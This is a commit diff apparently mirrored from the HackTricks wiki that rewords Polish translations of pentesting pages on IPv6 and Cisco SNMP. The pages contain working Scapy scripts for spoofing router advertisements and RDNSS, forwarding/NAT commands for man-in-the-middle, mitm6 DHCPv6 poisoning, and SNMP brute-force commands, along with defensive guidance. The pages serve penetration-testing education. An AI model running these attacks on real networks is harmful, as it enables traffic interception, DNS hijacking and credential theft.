mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
0cc255595d
commit
b684260c43
@ -14,8 +14,8 @@ Adresy IPv6 są zorganizowane w celu poprawy organizacji sieci i interakcji urz
|
||||
|
||||
Podczas gdy IPv6 pomija protokół ARP występujący w IPv4, wprowadza **ICMPv6** z dwoma głównymi komunikatami:
|
||||
|
||||
- **Zapytanie sąsiedztwa (NS)**: Wiadomości multicastowe do rozwiązywania adresów.
|
||||
- **Ogłoszenie sąsiedztwa (NA)**: Odpowiedzi unicastowe na NS lub spontaniczne ogłoszenia.
|
||||
- **Zapytanie sąsiednie (NS)**: Wiadomości multicastowe do rozwiązywania adresów.
|
||||
- **Ogłoszenie sąsiednie (NA)**: Odpowiedzi unicastowe na NS lub spontaniczne ogłoszenia.
|
||||
|
||||
IPv6 wprowadza również specjalne typy adresów:
|
||||
|
||||
@ -27,7 +27,7 @@ IPv6 wprowadza również specjalne typy adresów:
|
||||
Aby interagować z sieciami IPv6, można używać różnych poleceń:
|
||||
|
||||
- **Ping adresy lokalne**: Sprawdź obecność lokalnych urządzeń za pomocą `ping6`.
|
||||
- **Odkrywanie sąsiedztwa**: Użyj `ip neigh`, aby zobaczyć urządzenia odkryte na warstwie łącza.
|
||||
- **Odkrywanie sąsiadów**: Użyj `ip neigh`, aby zobaczyć urządzenia odkryte na warstwie łącza.
|
||||
- **alive6**: Alternatywne narzędzie do odkrywania urządzeń w tej samej sieci.
|
||||
|
||||
Poniżej znajdują się przykłady poleceń:
|
||||
@ -50,7 +50,7 @@ Dany adres MAC **`12:34:56:78:9a:bc`**, możesz skonstruować adres Link-local I
|
||||
|
||||
### **Typy adresów IPv6**
|
||||
|
||||
- **Unique Local Address (ULA)**: Do komunikacji lokalnej, nieprzeznaczone do routingu w Internecie. Prefiks: **`FEC00::/7`**
|
||||
- **Unique Local Address (ULA)**: Do komunikacji lokalnej, nieprzeznaczone do routingu w internecie. Prefiks: **`FEC00::/7`**
|
||||
- **Multicast Address**: Do komunikacji jeden-do-wielu. Dostarczany do wszystkich interfejsów w grupie multicast. Prefiks: **`FF00::/8`**
|
||||
- **Anycast Address**: Do komunikacji jeden-do-najbliższego. Wysyłany do najbliższego interfejsu zgodnie z protokołem routingu. Część globalnego zakresu unicast **`2000::/3`**.
|
||||
|
||||
@ -59,8 +59,8 @@ Dany adres MAC **`12:34:56:78:9a:bc`**, możesz skonstruować adres Link-local I
|
||||
- **fe80::/10**: Adresy Link-Local (podobne do 169.254.x.x)
|
||||
- **fc00::/7**: Unique Local-Unicast (podobne do prywatnych zakresów IPv4, takich jak 10.x.x.x, 172.16.x.x, 192.168.x.x)
|
||||
- **2000::/3**: Global Unicast
|
||||
- **ff02::1**: Multicast All Nodes
|
||||
- **ff02::2**: Multicast Router Nodes
|
||||
- **ff02::1**: Multicast Wszystkie Węzły
|
||||
- **ff02::2**: Multicast Węzły Routerów
|
||||
|
||||
### **Odkrywanie adresów IPv6 w sieci**
|
||||
|
||||
@ -81,7 +81,7 @@ ip -6 neigh # Display the neighbor table
|
||||
|
||||
Istnieje kilka technik wykonywania ataków MitM w sieciach IPv6, takich jak:
|
||||
|
||||
- Fałszowanie reklamacji sąsiadów lub routerów ICMPv6.
|
||||
- Fałszowanie reklam sąsiedztwa lub routera ICMPv6.
|
||||
- Używanie komunikatów ICMPv6 redirect lub "Packet Too Big" do manipulacji trasowaniem.
|
||||
- Atakowanie mobilnego IPv6 (zwykle wymaga wyłączenia IPSec).
|
||||
- Ustawienie nieautoryzowanego serwera DHCPv6.
|
||||
@ -90,7 +90,7 @@ Istnieje kilka technik wykonywania ataków MitM w sieciach IPv6, takich jak:
|
||||
|
||||
### Badanie subdomen
|
||||
|
||||
Metoda znajdowania subdomen, które mogą być powiązane z adresami IPv6, polega na wykorzystaniu wyszukiwarek. Na przykład, zastosowanie wzoru zapytania takiego jak `ipv6.*` może być skuteczne. Konkretnie, można użyć następującego polecenia wyszukiwania w Google:
|
||||
Metoda znajdowania subdomen, które mogą być powiązane z adresami IPv6, polega na wykorzystaniu wyszukiwarek. Na przykład, zastosowanie wzoru zapytania takiego jak `ipv6.*` może być skuteczne. Konkretnie, następujące polecenie wyszukiwania można użyć w Google:
|
||||
```bash
|
||||
site:ipv6./
|
||||
```
|
||||
@ -112,7 +112,7 @@ Poniższe sekcje obejmują praktyczne ataki IPv6 na warstwie 2, które można wy
|
||||
|
||||
### Dostosowanie systemu do stabilnego laboratorium
|
||||
|
||||
Przed zabawą z ruchem IPv6 zaleca się wzmocnienie swojego systemu, aby uniknąć bycia zatrutym przez własne testy i uzyskać najlepszą wydajność podczas masowego wstrzykiwania/podsłuchiwania pakietów.
|
||||
Przed zabawą z ruchem IPv6 zaleca się wzmocnienie swojego systemu, aby uniknąć zanieczyszczenia własnymi testami i uzyskać najlepszą wydajność podczas masowego wstrzykiwania/podsłuchiwania pakietów.
|
||||
```bash
|
||||
# Enable promiscuous mode to capture all frames
|
||||
sudo ip link set dev eth0 promisc on
|
||||
@ -128,7 +128,7 @@ sudo sysctl -w net.ipv4.tcp_tw_reuse=1
|
||||
```
|
||||
### Pasywne sniffowanie NDP i DHCPv6
|
||||
|
||||
Ponieważ każdy host IPv6 **automatycznie dołącza do wielu grup multicastowych** (`ff02::1`, `ff02::2`, …) i używa ICMPv6 do SLAAC/NDP, możesz zmapować cały segment bez wysyłania pojedynczego pakietu. Poniższy jednowierszowy skrypt Python/Scapy nasłuchuje najciekawszych wiadomości L2 i drukuje kolorowy, stemplowany czasem log, kto jest kim:
|
||||
Ponieważ każdy host IPv6 **automatycznie dołącza do wielu grup multicastowych** (`ff02::1`, `ff02::2`, …) i komunikuje się za pomocą ICMPv6 dla SLAAC/NDP, możesz zmapować cały segment bez wysyłania pojedynczego pakietu. Poniższy jednowierszowy skrypt Python/Scapy nasłuchuje najciekawszych wiadomości L2 i drukuje kolorowy, stemplowany czasem log, kto jest kim:
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
@ -197,9 +197,9 @@ sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
|
||||
```
|
||||
Wynik: pełna **topologia link-local** (MAC ⇄ IPv6) w ciągu kilku sekund, bez wywoływania systemów IPS/IDS, które polegają na aktywnych skanach.
|
||||
|
||||
### Fałszowanie Reklam Routera (RA)
|
||||
### Fałszowanie ogłoszeń routera (RA)
|
||||
|
||||
Hosty IPv6 polegają na **Reklamach Routera ICMPv6** w celu odkrywania domyślnej bramy. Jeśli wstrzykniesz sfałszowane RA **częściej** niż prawdziwy router, urządzenia cicho przełączą się na Ciebie jako bramę.
|
||||
Hosty IPv6 polegają na **ogłoszeniach routera ICMPv6** w celu odkrywania domyślnej bramy. Jeśli wstrzykniesz sfałszowane RA **częściej** niż prawdziwy router, urządzenia cicho przełączą się na ciebie jako bramę.
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
@ -221,13 +221,13 @@ ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
|
||||
|
||||
send(ra,iface=args.interface,loop=1,inter=args.interval)
|
||||
```
|
||||
Aby faktycznie **przekierować ruch** po wygraniu wyścigu:
|
||||
Aby faktycznie **przekazywać ruch** po wygraniu wyścigu:
|
||||
```bash
|
||||
sudo sysctl -w net.ipv6.conf.all.forwarding=1
|
||||
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
|
||||
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
||||
```
|
||||
#### Flagi Ogłoszenia Routera (M/O) i Preferencje Domyślnego Routera (Prf)
|
||||
#### Flagi Ogłoszenia Routera (M/O) i Preferencje Domowego Routera (Prf)
|
||||
|
||||
| Flaga | Znaczenie | Efekt na zachowanie klienta |
|
||||
|-------|-----------|-----------------------------|
|
||||
@ -242,13 +242,13 @@ sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertise
|
||||
```
|
||||
Szukaj pola `flags [M,O]` w zrzucie – nie ma potrzeby zgadywania.
|
||||
|
||||
Pole **Prf** (Router Preference) wewnątrz nagłówka RA kontroluje, jak atrakcyjny wygląda twój fałszywy router, gdy obecnych jest *wiele* bram:
|
||||
Pole **Prf** (Router Preference) wewnątrz nagłówka RA kontroluje, jak atrakcyjny wygląda twój fałszywy router, gdy obecnych jest *wiele* bramek:
|
||||
|
||||
| Wartość Prf | Binarnie | Znaczenie |
|
||||
|-------------|----------|-----------|
|
||||
| **Wysoki** | `10` | Klienci preferują ten router nad jakimkolwiek *Średnim*/*Niskim* |
|
||||
| **Wysoki** | `10` | Klienci preferują ten router nad jakikolwiek *Średni*/*Niski* |
|
||||
| Średni (domyślny) | `01` | Używany przez prawie każde legalne urządzenie |
|
||||
| Niski | `00` | Wybierany tylko wtedy, gdy nie ma lepszego routera |
|
||||
| Niski | `00` | Wybierany tylko wtedy, gdy nie ma lepszego routera |
|
||||
|
||||
Podczas generowania pakietu za pomocą Scapy możesz ustawić to przez parametr `prf`, jak pokazano powyżej (`prf=0x1` → Wysoki). Łączenie **Wysokiego Prf**, **krótkiego interwału** i **niezerowego czasu życia** sprawia, że twój fałszywy gateway jest niezwykle stabilny.
|
||||
|
||||
@ -276,11 +276,11 @@ ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
|
||||
|
||||
send(ra,iface=args.interface,loop=1,inter=args.interval)
|
||||
```
|
||||
Klienci **dodają** twoje DNS do swojej listy resolverów na dany czas życia, co umożliwia pełne przejęcie DNS, aż wartość wygaśnie lub wyślesz `lifetime=0` w celu przywrócenia.
|
||||
Klienci **dodają** twoje DNS do swojej listy resolverów na dany czas, co umożliwia pełne przejęcie DNS aż do wygaśnięcia wartości lub wysłania `lifetime=0` w celu przywrócenia.
|
||||
|
||||
### DHCPv6 DNS Spoofing (mitm6)
|
||||
|
||||
Zamiast SLAAC, sieci Windows często polegają na **stateless DHCPv6** dla DNS. [mitm6](https://github.com/rofl0r/mitm6) automatycznie odpowiada na wiadomości `Solicit` za pomocą przepływu **Advertise → Reply**, który przypisuje **twoje lokalne adresy jako DNS na 300 sekund**. To odblokowuje:
|
||||
Zamiast SLAAC, sieci Windows często polegają na **stateless DHCPv6** dla DNS. [mitm6](https://github.com/rofl0r/mitm6) automatycznie odpowiada na wiadomości `Solicit` przepływem **Advertise → Reply**, który przypisuje **twoje lokalne adresy jako DNS na 300 sekund**. To odblokowuje:
|
||||
|
||||
* Ataki relay NTLM (WPAD + przejęcie DNS)
|
||||
* Przechwytywanie wewnętrznego rozwiązywania nazw bez dotykania routerów
|
||||
@ -289,14 +289,14 @@ Typowe użycie:
|
||||
```bash
|
||||
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
|
||||
```
|
||||
### Ochrona
|
||||
### Ochrony
|
||||
|
||||
* **RA Guard / DHCPv6 Guard / ND Inspection** na zarządzanych przełącznikach.
|
||||
* Port ACL, które pozwalają tylko na wysyłanie RAs przez prawidłowy adres MAC routera.
|
||||
* Monitorowanie **niesolidnych RAs o wysokiej częstotliwości** lub nagłych **zmian RDNSS**.
|
||||
* Wyłączenie IPv6 na punktach końcowych to tymczasowe rozwiązanie, które często łamie nowoczesne usługi i ukrywa martwe punkty – zamiast tego preferuj filtrowanie L2.
|
||||
|
||||
## Odniesienia
|
||||
## Referencje
|
||||
|
||||
- [Legless – IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/)
|
||||
- [mitm6](https://github.com/rofl0r/mitm6)
|
||||
|
@ -10,7 +10,7 @@ Klasycznym—ale wciąż niezwykle skutecznym—wektorem ataku jest **brute-forc
|
||||
```bash
|
||||
onesixtyone -c community_strings.txt -i targets.txt
|
||||
```
|
||||
Inne szybkie opcje to skrypt Nmap NSE `snmp-brute` lub moduł SNMP Hydry:
|
||||
Inne szybkie opcje to skrypt Nmap NSE `snmp-brute` lub moduł SNMP Hydra:
|
||||
```bash
|
||||
nmap -sU -p161 --script snmp-brute --script-args brute.community=wordlist 10.0.0.0/24
|
||||
hydra -P wordlist.txt -s 161 10.10.10.1 snmp
|
||||
@ -59,10 +59,10 @@ run
|
||||
## Ostatnie luki w SNMP Cisco (2023 – 2025)
|
||||
Śledzenie powiadomień od dostawców jest przydatne do określenia możliwości *zero-day-to-n-day* w ramach zaangażowania:
|
||||
|
||||
| Rok | CVE | Dotknięta funkcja | Wpływ |
|
||||
|------|----------------|----------------------------------|-----------------------------------------------------------------------|
|
||||
| 2025 | CVE-2025-20174 | Podsystem SNMP | Opracowany pakiet prowadzi do uwierzytelnionego *DoS* (przeładowanie) na IOS/IOS-XE (v1/v2c/v3). |
|
||||
| 2024 | CVE-2024-20373 | Obsługa ACL IPv4 | Źle skonfigurowane **rozszerzone** ACL cicho *nie działają*, umożliwiając nieautoryzowane sondowanie SNMP, gdy znana jest ważna społeczność/użytkownik. |
|
||||
| Rok | CVE | Affected feature | Impact |
|
||||
|------|-----|-----------------|--------|
|
||||
| 2025 | CVE-2025-20174 | Podsystem SNMP | Opracowany pakiet prowadzi do uwierzytelnionego *DoS* (przeładowanie) na IOS/IOS-XE (v1/v2c/v3). |
|
||||
| 2024 | CVE-2024-20373 | Obsługa ACL IPv4 | Źle skonfigurowane **rozszerzone** ACL cicho *zawodzą*, umożliwiając nieautoryzowane sondowanie SNMP, gdy znana jest ważna społeczność/użytkownik. |
|
||||
| 2025 | (brak CVE jeszcze) | Ominięcie ograniczeń konfiguracji SNMPv3 | Ważny użytkownik v3 może sondować z adresów, które powinny być zablokowane. |
|
||||
|
||||
Możliwość wykorzystania często nadal zależy od posiadania ciągu społeczności lub poświadczeń v3 – kolejny powód, dla którego ich łamanie pozostaje istotne.
|
||||
@ -82,7 +82,7 @@ snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
|
||||
`snmp-server community <string> RW 99 view SysView`
|
||||
* Monitoruj:
|
||||
- Wzrosty UDP/161 lub nieoczekiwane źródła (reguły SIEM).
|
||||
- Wydarzenia `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource` wskazujące na zmiany konfiguracji poza pasmem.
|
||||
- Zdarzenia `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource` wskazujące na zmiany konfiguracji poza pasmem.
|
||||
* Włącz **logowanie SNMPv3** i `snmp-server packetsize 1500`, aby zredukować niektóre wektory DoS.
|
||||
|
||||
---
|
||||
|
Loading…
x
Reference in New Issue
Block a user